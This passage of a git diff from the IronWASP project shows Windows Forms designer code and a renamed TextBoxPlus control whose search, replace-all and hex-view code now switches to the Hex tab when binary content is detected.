System.Drawing.Point(217, 34); + this.label4.Name = "label4"; + this.label4.Size = new System.Drawing.Size(330, 13); + this.label4.TabIndex = 13; + this.label4.Text = "Use \'Page Up\' / \'Page Down\' keys to move to next / previous match"; + // + // CaseSensitiveSearchCB + // + this.CaseSensitiveSearchCB.AutoSize = true; + this.CaseSensitiveSearchCB.Location = new System.Drawing.Point(92, 32); + this.CaseSensitiveSearchCB.Name = "CaseSensitiveSearchCB"; + this.CaseSensitiveSearchCB.Size = new System.Drawing.Size(96, 17); + this.CaseSensitiveSearchCB.TabIndex = 12; + this.CaseSensitiveSearchCB.Text = "Case Sensitive"; + this.CaseSensitiveSearchCB.UseVisualStyleBackColor = true; + this.CaseSensitiveSearchCB.Click += new System.EventHandler(this.CaseSensitiveSearchCB_Click); + // + // ReplaceAllLL + // + this.ReplaceAllLL.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.ReplaceAllLL.AutoSize = true; + this.ReplaceAllLL.Location = new System.Drawing.Point(406, 58); + this.ReplaceAllLL.Name = "ReplaceAllLL"; + this.ReplaceAllLL.Size = new System.Drawing.Size(61, 13); + this.ReplaceAllLL.TabIndex = 11; + this.ReplaceAllLL.TabStop = true; + this.ReplaceAllLL.Text = "Replace All"; + this.ReplaceAllLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.ReplaceAllLL_LinkClicked); + // + // label3 + // + this.label3.AutoSize = true; + this.label3.Location = new System.Drawing.Point(3, 59); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(151, 13); + this.label3.TabIndex = 9; + this.label3.Text = "Replace With (case-sensitive):"; + // + // ReplaceBox + // + this.ReplaceBox.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ReplaceBox.Location = new System.Drawing.Point(168, 55); + this.ReplaceBox.Name = "ReplaceBox"; + this.ReplaceBox.Size = new System.Drawing.Size(230, 20); + this.ReplaceBox.TabIndex = 8; + this.ReplaceBox.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.ReplaceBox_KeyPress); + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(3, 34); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(83, 13); + this.label2.TabIndex = 7; + this.label2.Text = "Search Options:"; + // + // MoreOptionsLL + // + this.MoreOptionsLL.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.MoreOptionsLL.AutoSize = true; + this.MoreOptionsLL.Location = new System.Drawing.Point(477, 10); + this.MoreOptionsLL.Name = "MoreOptionsLL"; + this.MoreOptionsLL.Size = new System.Drawing.Size(73, 13); + this.MoreOptionsLL.TabIndex = 6; + this.MoreOptionsLL.TabStop = true; + this.MoreOptionsLL.Text = "Show Options"; + this.MoreOptionsLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.MoreOptionsLL_LinkClicked); + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(3, 10); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(59, 13); + this.label1.TabIndex = 5; + this.label1.Text = "Search for:"; + // + // MainTabs + // + this.MainTabs.Controls.Add(this.TextTab); + this.MainTabs.Controls.Add(this.HexTab); + this.MainTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.MainTabs.Location = new System.Drawing.Point(0, 0); + this.MainTabs.Margin = new System.Windows.Forms.Padding(0); + this.MainTabs.Name = "MainTabs"; + this.MainTabs.Padding = new System.Drawing.Point(0, 0); + this.MainTabs.SelectedIndex = 0; + this.MainTabs.Size = new System.Drawing.Size(560, 135); + this.MainTabs.TabIndex = 6; + this.MainTabs.Deselecting += new System.Windows.Forms.TabControlCancelEventHandler(this.MainTabs_Deselecting); + // + // TextTab + // + this.TextTab.Controls.Add(this.TextPanel); + this.TextTab.Controls.Add(this.FunctionsPanel); + this.TextTab.Location = new System.Drawing.Point(4, 22); + this.TextTab.Margin = new System.Windows.Forms.Padding(0); + this.TextTab.Name = "TextTab"; + this.TextTab.Size = new System.Drawing.Size(552, 109); + this.TextTab.TabIndex = 0; + this.TextTab.Text = " Text "; + this.TextTab.UseVisualStyleBackColor = true; + // + // TextPanel + // + this.TextPanel.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.TextPanel.Controls.Add(this.MainRichText); + this.TextPanel.Controls.Add(this.MainText); + this.TextPanel.Location = new System.Drawing.Point(0, 0); + this.TextPanel.Margin = new System.Windows.Forms.Padding(0); + this.TextPanel.Name = "TextPanel"; + this.TextPanel.Size = new System.Drawing.Size(552, 29); + this.TextPanel.TabIndex = 6; + // + // MainRichText + // + this.MainRichText.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.MainRichText.DetectUrls = false; + this.MainRichText.Location = new System.Drawing.Point(307, 5); + this.MainRichText.Name = "MainRichText"; + this.MainRichText.ScrollBars = System.Windows.Forms.RichTextBoxScrollBars.Vertical; + this.MainRichText.Size = new System.Drawing.Size(206, 17); + this.MainRichText.TabIndex = 3; + this.MainRichText.Text = ""; + this.MainRichText.TextChanged += new System.EventHandler(this.MainRichText_TextChanged); + // + // HexTab + // + this.HexTab.Controls.Add(this.MainHex); + this.HexTab.Location = new System.Drawing.Point(4, 22); + this.HexTab.Margin = new System.Windows.Forms.Padding(0); + this.HexTab.Name = "HexTab"; + this.HexTab.Size = new System.Drawing.Size(552, 109); + this.HexTab.TabIndex = 1; + this.HexTab.Text = " Hex "; + this.HexTab.UseVisualStyleBackColor = true; + // + // MainHex + // + this.MainHex.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.MainHex.Dock = System.Windows.Forms.DockStyle.Fill; + this.MainHex.Font = new System.Drawing.Font("Courier New", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.MainHex.InfoForeColor = System.Drawing.Color.Empty; + this.MainHex.LineInfoVisible = true; + this.MainHex.Location = new System.Drawing.Point(0, 0); + this.MainHex.Name = "MainHex"; + this.MainHex.ShadowSelectionColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(60)))), ((int)(((byte)(188)))), ((int)(((byte)(255))))); + this.MainHex.Size = new System.Drawing.Size(552, 109); + this.MainHex.StringViewVisible = true; + this.MainHex.TabIndex = 0; + this.MainHex.VScrollBarVisible = true; + // + // TextBoxPlus + // + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.None; + this.Controls.Add(this.MainTabs); + this.Name = "TextBoxPlus"; + this.Size = new System.Drawing.Size(560, 135); + this.Load += new System.EventHandler(this.ModTextBoxPlus_Load); + this.FunctionsPanel.ResumeLayout(false); + this.FunctionsPanel.PerformLayout(); + this.MainTabs.ResumeLayout(false); + this.TextTab.ResumeLayout(false); + this.TextPanel.ResumeLayout(false); + this.TextPanel.PerformLayout(); + this.HexTab.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.TextBox MainText; + private System.Windows.Forms.TextBox SearchBox; + private System.Windows.Forms.Label MatchCountLabel; + private System.Windows.Forms.Panel FunctionsPanel; + private System.Windows.Forms.TabControl MainTabs; + private System.Windows.Forms.TabPage TextTab; + private System.Windows.Forms.TabPage HexTab; + private System.Windows.Forms.LinkLabel MoreOptionsLL; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.RichTextBox MainRichText; + private Be.Windows.Forms.HexBox MainHex; + private System.Windows.Forms.Panel TextPanel; + private System.Windows.Forms.LinkLabel ReplaceAllLL; + private System.Windows.Forms.Label label3; + private System.Windows.Forms.TextBox ReplaceBox; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.Label label4; + private System.Windows.Forms.CheckBox CaseSensitiveSearchCB; + private System.Windows.Forms.LinkLabel LessOptionsLL; + private System.Windows.Forms.Label BinaryWarningLbl; + } +} diff --git a/IronWASP/TextBoxPlus.cs b/Iron/TextBoxPlus.cs similarity index 95% rename from IronWASP/TextBoxPlus.cs rename to Iron/TextBoxPlus.cs index 1c851b6..a0f2246 100644 --- a/IronWASP/TextBoxPlus.cs +++ b/Iron/TextBoxPlus.cs @@ -1,521 +1,535 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Drawing; -using System.Data; -using System.Text; -using System.Windows.Forms; -using Be.Windows.Forms; - -namespace IronWASP -{ - public partial class TextBoxPlus : UserControl - { - DynamicByteProvider DynByteProvider = new DynamicByteProvider(new byte[] { }); - bool WasNormalTextChanged = false; - bool WasRichTextChanged = false; - bool WasHexChanged = false; - - bool IsInBinaryMode = false; - - string EncodingType = "UTF-8"; - - StringComparison ComparisonType = StringComparison.OrdinalIgnoreCase; - - public TextBoxPlus() - { - InitializeComponent(); - DynByteProvider.Changed += new EventHandler(DynByteProvider_Changed); - } - - public bool IsBinary - { - get - { - return IsInBinaryMode; - } - } - - bool WasTextChanged - { - get - { - if (MainText.Visible) - return WasNormalTextChanged; - else - return WasRichTextChanged; - } - } - - public override string Text - { - get - { - return this.GetText(); - } - set - { - this.SetText(value); - } - } - - public bool ReadOnly - { - get - { - return MainText.ReadOnly; - } - set - { - MainText.ReadOnly = value; - MainText.BackColor = Color.White; - MainRichText.ReadOnly = value; - MainHex.ReadOnly = value; - ReplaceAllLL.Enabled = !value; - ReplaceBox.Enabled = !value; - } - } - - public override Font Font - { - get - { - return MainText.Font; - } - set - { - MainText.Font = value; - MainRichText.Font = value; - } - } - - string Keyword = ""; - string TextToSearch = ""; - List MatchSpots = new List(); - int CurrentSpot = 0; - - private void SearchBox_KeyUp(object sender, KeyEventArgs e) - { - if (SearchBox.Text.Length == 0) - { - ResetValues(); - return; - } - else if (MainText.Text.Length == 0 && MainRichText.TextLength == 0) - { - return; - } - if (e.KeyCode == Keys.Enter) - { - if (SearchBox.Text.Equals(Keyword)) - { - FindNext(); - } - else - { - Find(); - } - return; - } - if (e.KeyCode == Keys.PageUp) - { - FindPrev(); - } - else if (e.KeyCode == Keys.PageDown) - { - FindNext(); - } - } - - void Find() - { - ResetValues(); - Keyword = SearchBox.Text; - if (IsInBinaryMode) - TextToSearch = MainRichText.Text; - else - TextToSearch = MainText.Text; - if (Keyword.Length == 0) return; - bool loop = true; - int StartIndex = 0; - while (loop) - { - loop = false; - int match_spot = TextToSearch.IndexOf(Keyword, StartIndex, ComparisonType); - if (match_spot >= 0) - { - MatchSpots.Add(match_spot); - if ((match_spot + Keyword.Length) < TextToSearch.Length) - { - StartIndex = match_spot + 1; - loop = true; - } - } - } - MatchCountLabel.Text = MatchSpots.Count.ToString(); - if (MatchSpots.Count > 0) - { - if (IsInBinaryMode) - { - MainRichText.Select(MatchSpots[0], Keyword.Length); - MainRichText.ScrollToCaret(); - } - else - { - MainText.Select(MatchSpots[0], Keyword.Length); - MainText.ScrollToCaret(); - } - } - } - - void FindNext() - { - if (MatchSpots.Count == 0) - { - return; - } - if (CurrentSpot == (MatchSpots.Count-1)) - { - CurrentSpot = 0; - } - else - { - CurrentSpot++; - } - if (IsInBinaryMode) - { - MainRichText.Select(MatchSpots[CurrentSpot], Keyword.Length); - MainRichText.ScrollToCaret(); - } - else - { - MainText.Select(MatchSpots[CurrentSpot], Keyword.Length); - MainText.ScrollToCaret(); - } - } - - void FindPrev() - { - if (MatchSpots.Count == 0) - { - return; - } - if (CurrentSpot == 0) - { - CurrentSpot = MatchSpots.Count-1; - } - else - { - CurrentSpot--; - } - if (IsInBinaryMode) - { - MainRichText.Select(MatchSpots[CurrentSpot], Keyword.Length); - MainRichText.ScrollToCaret(); - } - else - { - MainText.Select(MatchSpots[CurrentSpot], Keyword.Length); - MainText.ScrollToCaret(); - } - } - void ResetValues() - { - if (MatchCountLabel.Text != "0") - { - Keyword = ""; - MatchSpots.RemoveRange(0, MatchSpots.Count); - CurrentSpot = 0; - MatchCountLabel.Text = "0"; - MainText.DeselectAll(); - MainRichText.DeselectAll(); - } - } - - private void MainText_TextChanged(object sender, EventArgs e) - { - ResetValues(); - WasNormalTextChanged = true; - if (ValueChanged != null) - { - ValueChanged(); - } - } - - private void MainRichText_TextChanged(object sender, EventArgs e) - { - ResetValues(); - WasRichTextChanged = true; - if (ValueChanged != null) - { - ValueChanged(); - } - } - - private void DynByteProvider_Changed(object sender, EventArgs e) - { - WasHexChanged = true; - if (ValueChanged != null) - { - ValueChanged(); - } - } - - public delegate void ValueChangedEvent(); - - public event ValueChangedEvent ValueChanged; - - private void MoreOptionsLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) - { - if (MoreOptionsLL.Text.Equals("Show Options")) - { - ShowOptions(); - } - else - { - HideOptions(); - } - } - - void ShowOptions() - { - FunctionsPanel.Height = 80; - TextPanel.Height = TextPanel.Height - 29; - MoreOptionsLL.Text = "Hide Options"; - } - - void HideOptions() - { - FunctionsPanel.Height = 30; - TextPanel.Height = TextPanel.Height + 29; - MoreOptionsLL.Text = "Show Options"; - } - - private void ModTextBoxPlus_Load(object sender, EventArgs e) - { - this.MainHex.ByteProvider = DynByteProvider; - - HideOptions(); - MainText.Dock = DockStyle.Fill; - MainRichText.Visible = false; - BinaryWarningLbl.Visible = false; - - label1.Font = new System.Drawing.Font("Microsoft Sans Serif", 8); - MoreOptionsLL.Font = new System.Drawing.Font("Microsoft Sans Serif", 8); - LessOptionsLL.Font = new System.Drawing.Font("Microsoft Sans Serif", 8); - BinaryWarningLbl.Font = new System.Drawing.Font("Microsoft Sans Serif", 8, FontStyle.Bold); - label2.Font = new System.Drawing.Font("Microsoft Sans Serif", 8); - label4.Font = new System.Drawing.Font("Microsoft Sans Serif", 8); - label3.Font = new System.Drawing.Font("Microsoft Sans Serif", 8); - ReplaceAllLL.Font = new System.Drawing.Font("Microsoft Sans Serif", 8); - MatchCountLabel.Font = new System.Drawing.Font("Microsoft Sans Serif", 8); - CaseSensitiveSearchCB.Font = new System.Drawing.Font("Microsoft Sans Serif", 8); - ToolTip Tips = new ToolTip(); - Tips.SetToolTip(BinaryWarningLbl, "Binary content detected. It is advisable to edit this value from the Hex section."); - } - - public void SetText(string Text) - { - this.SetText(Text, "UTF-8"); - } - delegate void SetText_d(string Text, string EncodingType); - public void SetText(string Text, string EncodingType) - { - if (MainText.InvokeRequired) - { - SetText_d UiDelegate = new SetText_d(SetText); - MainText.Invoke(UiDelegate, new object[] { Text, EncodingType }); - } - else - { - SetTextValue(Text, Tools.IsBinary(Text)); - Encoding EncToUse = Encoding.GetEncoding(EncodingType); - SetHex(EncToUse.GetBytes(Text)); - this.EncodingType = EncodingType; - this.ResetChangedStatus(); - Find(); - } - } - - public void SetBytes(byte[] Bytes) - { - this.SetBytes(Bytes, "UTF-8"); - } - delegate void SetBytes_d(byte[] Bytes, string EncodingType); - public void SetBytes(byte[] Bytes, string EncodingType) - { - if (MainHex.InvokeRequired) - { - SetBytes_d UiDelegate = new SetBytes_d(SetBytes); - MainHex.Invoke(UiDelegate, new object[] { Bytes, EncodingType }); - } - else - { - SetHex(Bytes); - Encoding EncToUse = Encoding.GetEncoding(EncodingType); - this.EncodingType = EncodingType; - SetTextValue(EncToUse.GetString(Bytes), Tools.IsBinary(Bytes)); - this.ResetChangedStatus(); - Find(); - } - } - - private void SetHex(byte[] Bytes) - { - this.DynByteProvider.DeleteBytes(0, this.DynByteProvider.Length); - this.DynByteProvider.InsertBytes(0, Bytes); - if (MainTabs.SelectedTab.Name.Equals("HexTab")) - { - MainHex.Refresh(); - } - } - private void SetTextValue(string Text, bool IsBinary) - { - if (IsBinary) - { - MainText.Text = ""; - MainText.Visible = false; - MainRichText.Text = Text; - MainRichText.Visible = true; - BinaryWarningLbl.Visible = true; - MainRichText.Dock = DockStyle.Fill; - } - else - { - MainRichText.Text = ""; - MainRichText.Visible = false; - BinaryWarningLbl.Visible = false; - MainText.Text = Text; - MainText.Visible = true; - MainText.Dock = DockStyle.Fill; - } - IsInBinaryMode = IsBinary; - } - - void CheckAndHandleContentChanges() - { - if (WasHexChanged) - { - byte[] NewBytes = DynByteProvider.Bytes.ToArray(); - SetTextValue(Encoding.GetEncoding(this.EncodingType).GetString(NewBytes), Tools.IsBinary(NewBytes)); - } - else if (WasRichTextChanged || WasTextChanged) - { - string NewText = ""; - if(IsInBinaryMode) - NewText = MainRichText.Text; - else - NewText = MainText.Text; - this.SetHex(Encoding.GetEncoding(this.EncodingType).GetBytes(NewText)); - } - ResetChangedStatus(); - } - - void ResetChangedStatus() - { - WasHexChanged = false; - WasNormalTextChanged = false; - WasRichTextChanged = false; - } - - public void ClearData() - { - this.SetText(""); - } - - private void MainTabs_Deselecting(object sender, TabControlCancelEventArgs e) - { - this.CheckAndHandleContentChanges(); - } - - public string GetText() - { - this.CheckAndHandleContentChanges(); - if (IsInBinaryMode) - return MainRichText.Text; - else - return MainText.Text; - } - - public byte[] GetBytes() - { - this.CheckAndHandleContentChanges(); - return DynByteProvider.Bytes.ToArray(); - } - - private void CaseSensitiveSearchCB_Click(object sender, EventArgs e) - { - if (CaseSensitiveSearchCB.Checked) - ComparisonType = StringComparison.Ordinal; - else - ComparisonType = StringComparison.OrdinalIgnoreCase; - Find(); - } - - private void ReplaceAllLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) - { - string CurrentValue = ""; - if (IsInBinaryMode) - CurrentValue = MainRichText.Text; - else - CurrentValue = MainText.Text; - string ValueToReplace = SearchBox.Text; - string ReplaceWith = ReplaceBox.Text; - if (ValueToReplace.Length == 0) return; - string NewString = CurrentValue.Replace(ValueToReplace, ReplaceWith); - if (IsInBinaryMode) - MainRichText.Text = NewString; - else - MainText.Text = NewString; - } - - private void LessOptionsLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) - { - HideOptions(); - } - - private void SearchBox_KeyPress(object sender, KeyPressEventArgs e) - { - if (e.KeyChar == (Char)Keys.Enter) - { - e.Handled = true; - } - } - - private void ReplaceBox_KeyPress(object sender, KeyPressEventArgs e) - { - if (e.KeyChar == (Char)Keys.Enter) - { - e.Handled = true; - } - } - - private void MainText_KeyDown(object sender, KeyEventArgs e) - { - if (e.Control && e.KeyCode.ToString() == "A") - { - MainText.SelectAll(); - } - } - - - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Drawing; +using System.Data; +using System.Text; +using System.Windows.Forms; +using Be.Windows.Forms; + +namespace IronWASP +{ + public partial class TextBoxPlus : UserControl + { + DynamicByteProvider DynByteProvider = new DynamicByteProvider(new byte[] { }); + bool WasNormalTextChanged = false; + bool WasRichTextChanged = false; + bool WasHexChanged = false; + + bool IsInBinaryMode = false; + + string EncodingType = "UTF-8"; + + StringComparison ComparisonType = StringComparison.OrdinalIgnoreCase; + + public TextBoxPlus() + { + InitializeComponent(); + DynByteProvider.Changed += new EventHandler(DynByteProvider_Changed); + } + + public bool IsBinary + { + get + { + return IsInBinaryMode; + } + } + + bool WasTextChanged + { + get + { + if (MainText.Visible) + return WasNormalTextChanged; + else + return WasRichTextChanged; + } + } + + public override string Text + { + get + { + return this.GetText(); + } + set + { + this.SetText(value); + } + } + + public bool ReadOnly + { + get + { + return MainText.ReadOnly; + } + set + { + MainText.ReadOnly = value; + MainText.BackColor = Color.White; + MainRichText.ReadOnly = value; + MainHex.ReadOnly = value; + ReplaceAllLL.Enabled = !value; + ReplaceBox.Enabled = !value; + } + } + + public override Font Font + { + get + { + return MainText.Font; + } + set + { + MainText.Font = value; + MainRichText.Font = value; + } + } + + string Keyword = ""; + string TextToSearch = ""; + List MatchSpots = new List(); + int CurrentSpot = 0; + + private void SearchBox_KeyUp(object sender, KeyEventArgs e) + { + if (SearchBox.Text.Length == 0) + { + ResetValues(); + return; + } + else if (MainText.Text.Length == 0 && MainRichText.TextLength == 0) + { + return; + } + if (e.KeyCode == Keys.Enter) + { + if (SearchBox.Text.Equals(Keyword)) + { + FindNext(); + } + else + { + Find(); + } + return; + } + if (e.KeyCode == Keys.PageUp) + { + FindPrev(); + } + else if (e.KeyCode == Keys.PageDown) + { + FindNext(); + } + } + + void Find() + { + ResetValues(); + Keyword = SearchBox.Text; + if (IsInBinaryMode) + TextToSearch = MainRichText.Text; + else + TextToSearch = MainText.Text; + if (Keyword.Length == 0) return; + bool loop = true; + int StartIndex = 0; + while (loop) + { + loop = false; + int match_spot = TextToSearch.IndexOf(Keyword, StartIndex, ComparisonType); + if (match_spot >= 0) + { + MatchSpots.Add(match_spot); + if ((match_spot + Keyword.Length) < TextToSearch.Length) + { + StartIndex = match_spot + 1; + loop = true; + } + } + } + MatchCountLabel.Text = MatchSpots.Count.ToString(); + if (MatchSpots.Count > 0) + { + if (IsInBinaryMode) + { + MainRichText.Select(MatchSpots[0], Keyword.Length); + MainRichText.ScrollToCaret(); + } + else + { + MainText.Select(MatchSpots[0], Keyword.Length); + MainText.ScrollToCaret(); + } + } + } + + void FindNext() + { + if (MatchSpots.Count == 0) + { + return; + } + if (CurrentSpot == (MatchSpots.Count-1)) + { + CurrentSpot = 0; + } + else + { + CurrentSpot++; + } + if (IsInBinaryMode) + { + MainRichText.Select(MatchSpots[CurrentSpot], Keyword.Length); + MainRichText.ScrollToCaret(); + } + else + { + MainText.Select(MatchSpots[CurrentSpot], Keyword.Length); + MainText.ScrollToCaret(); + } + } + + void FindPrev() + { + if (MatchSpots.Count == 0) + { + return; + } + if (CurrentSpot == 0) + { + CurrentSpot = MatchSpots.Count-1; + } + else + { + CurrentSpot--; + } + if (IsInBinaryMode) + { + MainRichText.Select(MatchSpots[CurrentSpot], Keyword.Length); + MainRichText.ScrollToCaret(); + } + else + { + MainText.Select(MatchSpots[CurrentSpot], Keyword.Length); + MainText.ScrollToCaret(); + } + } + void ResetValues() + { + if (MatchCountLabel.Text != "0") + { + Keyword = ""; + MatchSpots.RemoveRange(0, MatchSpots.Count); + CurrentSpot = 0; + MatchCountLabel.Text = "0"; + MainText.DeselectAll(); + MainRichText.DeselectAll(); + } + } + + private void MainText_TextChanged(object sender, EventArgs e) + { + ResetValues(); + WasNormalTextChanged = true; + if (ValueChanged != null) + { + ValueChanged(); + } + } + + private void MainRichText_TextChanged(object sender, EventArgs e) + { + ResetValues(); + WasRichTextChanged = true; + if (ValueChanged != null) + { + ValueChanged(); + } + } + + private void DynByteProvider_Changed(object sender, EventArgs e) + { + WasHexChanged = true; + if (ValueChanged != null) + { + ValueChanged(); + } + } + + public delegate void ValueChangedEvent(); + + public event ValueChangedEvent ValueChanged; + + private void MoreOptionsLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + if (MoreOptionsLL.Text.Equals("Show Options")) + { + ShowOptions(); + } + else + { + HideOptions(); + } + } + + void ShowOptions() + { + FunctionsPanel.Height = 80; + TextPanel.Height = TextPanel.Height - 29; + MoreOptionsLL.Text = "Hide Options"; + } + + void HideOptions() + { + FunctionsPanel.Height = 30; + TextPanel.Height = TextPanel.Height + 29; + MoreOptionsLL.Text = "Show Options"; + } + + private void ModTextBoxPlus_Load(object sender, EventArgs e) + { + this.MainHex.ByteProvider = DynByteProvider; + + HideOptions(); + MainText.Dock = DockStyle.Fill; + MainRichText.Visible = false; + BinaryWarningLbl.Visible = false; + + label1.Font = new System.Drawing.Font("Microsoft Sans Serif", 8); + MoreOptionsLL.Font = new System.Drawing.Font("Microsoft Sans Serif", 8); + LessOptionsLL.Font = new System.Drawing.Font("Microsoft Sans Serif", 8); + BinaryWarningLbl.Font = new System.Drawing.Font("Microsoft Sans Serif", 8, FontStyle.Bold); + label2.Font = new System.Drawing.Font("Microsoft Sans Serif", 8); + label4.Font = new System.Drawing.Font("Microsoft Sans Serif", 8); + label3.Font = new System.Drawing.Font("Microsoft Sans Serif", 8); + ReplaceAllLL.Font = new System.Drawing.Font("Microsoft Sans Serif", 8); + MatchCountLabel.Font = new System.Drawing.Font("Microsoft Sans Serif", 8); + CaseSensitiveSearchCB.Font = new System.Drawing.Font("Microsoft Sans Serif", 8); + ToolTip Tips = new ToolTip(); + Tips.SetToolTip(BinaryWarningLbl, "Binary content detected. It is advisable to edit this value from the Hex section."); + } + + public void SetText(string Text) + { + this.SetText(Text, "UTF-8"); + } + delegate void SetText_d(string Text, string EncodingType); + public void SetText(string Text, string EncodingType) + { + if (MainText.InvokeRequired) + { + SetText_d UiDelegate = new SetText_d(SetText); + MainText.Invoke(UiDelegate, new object[] { Text, EncodingType }); + } + else + { + SetTextValue(Text, Tools.IsBinary(Text)); + Encoding EncToUse = Encoding.GetEncoding(EncodingType); + SetHexValue(EncToUse.GetBytes(Text)); + this.EncodingType = EncodingType; + this.ResetChangedStatus(); + if (IsInBinaryMode) + { + if (!MainTabs.SelectedTab.Name.Equals("HexTab")) + { + MainTabs.SelectTab("HexTab"); + } + } + Find(); + } + } + + public void SetBytes(byte[] Bytes) + { + this.SetBytes(Bytes, "UTF-8"); + } + delegate void SetBytes_d(byte[] Bytes, string EncodingType); + public void SetBytes(byte[] Bytes, string EncodingType) + { + if (MainHex.InvokeRequired) + { + SetBytes_d UiDelegate = new SetBytes_d(SetBytes); + MainHex.Invoke(UiDelegate, new object[] { Bytes, EncodingType }); + } + else + { + SetHexValue(Bytes); + Encoding EncToUse = Encoding.GetEncoding(EncodingType); + this.EncodingType = EncodingType; + SetTextValue(EncToUse.GetString(Bytes), Tools.IsBinary(Bytes)); + this.ResetChangedStatus(); + if (IsInBinaryMode) + { + if (!MainTabs.SelectedTab.Name.Equals("HexTab")) + { + MainTabs.SelectTab("HexTab"); + } + } + Find(); + } + } + + private void SetHexValue(byte[] Bytes) + { + this.DynByteProvider.DeleteBytes(0, this.DynByteProvider.Length); + this.DynByteProvider.InsertBytes(0, Bytes); + if (MainTabs.SelectedTab.Name.Equals("HexTab")) + { + MainHex.Refresh(); + } + } + private void SetTextValue(string Text, bool IsBinary) + { + if (IsBinary) + { + MainText.Text = ""; + MainText.Visible = false; + MainRichText.Text = Text; + MainRichText.Visible = true; + BinaryWarningLbl.Visible = true; + MainRichText.Dock = DockStyle.Fill; + } + else + { + MainRichText.Text = ""; + MainRichText.Visible = false; + BinaryWarningLbl.Visible = false; + MainText.Text = Text; + MainText.Visible = true; + MainText.Dock = DockStyle.Fill; + } + IsInBinaryMode = IsBinary; + } + + void CheckAndHandleContentChanges() + { + if (WasHexChanged) + { + byte[] NewBytes = DynByteProvider.Bytes.ToArray(); + SetTextValue(Encoding.GetEncoding(this.EncodingType).GetString(NewBytes), Tools.IsBinary(NewBytes)); + } + else if (WasRichTextChanged || WasTextChanged) + { + string NewText = ""; + if(IsInBinaryMode) + NewText = MainRichText.Text; + else + NewText = MainText.Text; + this.SetHexValue(Encoding.GetEncoding(this.EncodingType).GetBytes(NewText)); + } + ResetChangedStatus(); + } + + void ResetChangedStatus() + { + WasHexChanged = false; + WasNormalTextChanged = false; + WasRichTextChanged = false; + } + + public void ClearData() + { + this.SetText(""); + } + + private void MainTabs_Deselecting(object sender, TabControlCancelEventArgs e) + { + this.CheckAndHandleContentChanges(); + } + + public string GetText() + { + this.CheckAndHandleContentChanges(); + if (IsInBinaryMode) + return MainRichText.Text; + else + return MainText.Text; + } + + public byte[] GetBytes() + { + this.CheckAndHandleContentChanges(); + return DynByteProvider.Bytes.ToArray(); + } + + private void CaseSensitiveSearchCB_Click(object sender, EventArgs e) + { + if (CaseSensitiveSearchCB.Checked) + ComparisonType = StringComparison.Ordinal; + else + ComparisonType = StringComparison.OrdinalIgnoreCase; + Find(); + } + + private void ReplaceAllLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + string CurrentValue = ""; + if (IsInBinaryMode) + CurrentValue = MainRichText.Text; + else + CurrentValue = MainText.Text; + string ValueToReplace = SearchBox.Text; + string ReplaceWith = ReplaceBox.Text; + if (ValueToReplace.Length == 0) return; + string NewString = CurrentValue.Replace(ValueToReplace, ReplaceWith); + if (IsInBinaryMode) + MainRichText.Text = NewString; + else + MainText.Text = NewString; + } + + private void LessOptionsLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + HideOptions(); + } + + private void SearchBox_KeyPress(object sender, KeyPressEventArgs e) + { + if (e.KeyChar == (Char)Keys.Enter) + { + e.Handled = true; + } + } + + private void ReplaceBox_KeyPress(object sender, KeyPressEventArgs e) + { + if (e.KeyChar == (Char)Keys.Enter) + { + e.Handled = true; + } + } + + private void MainText_KeyDown(object sender, KeyEventArgs e) + { + if 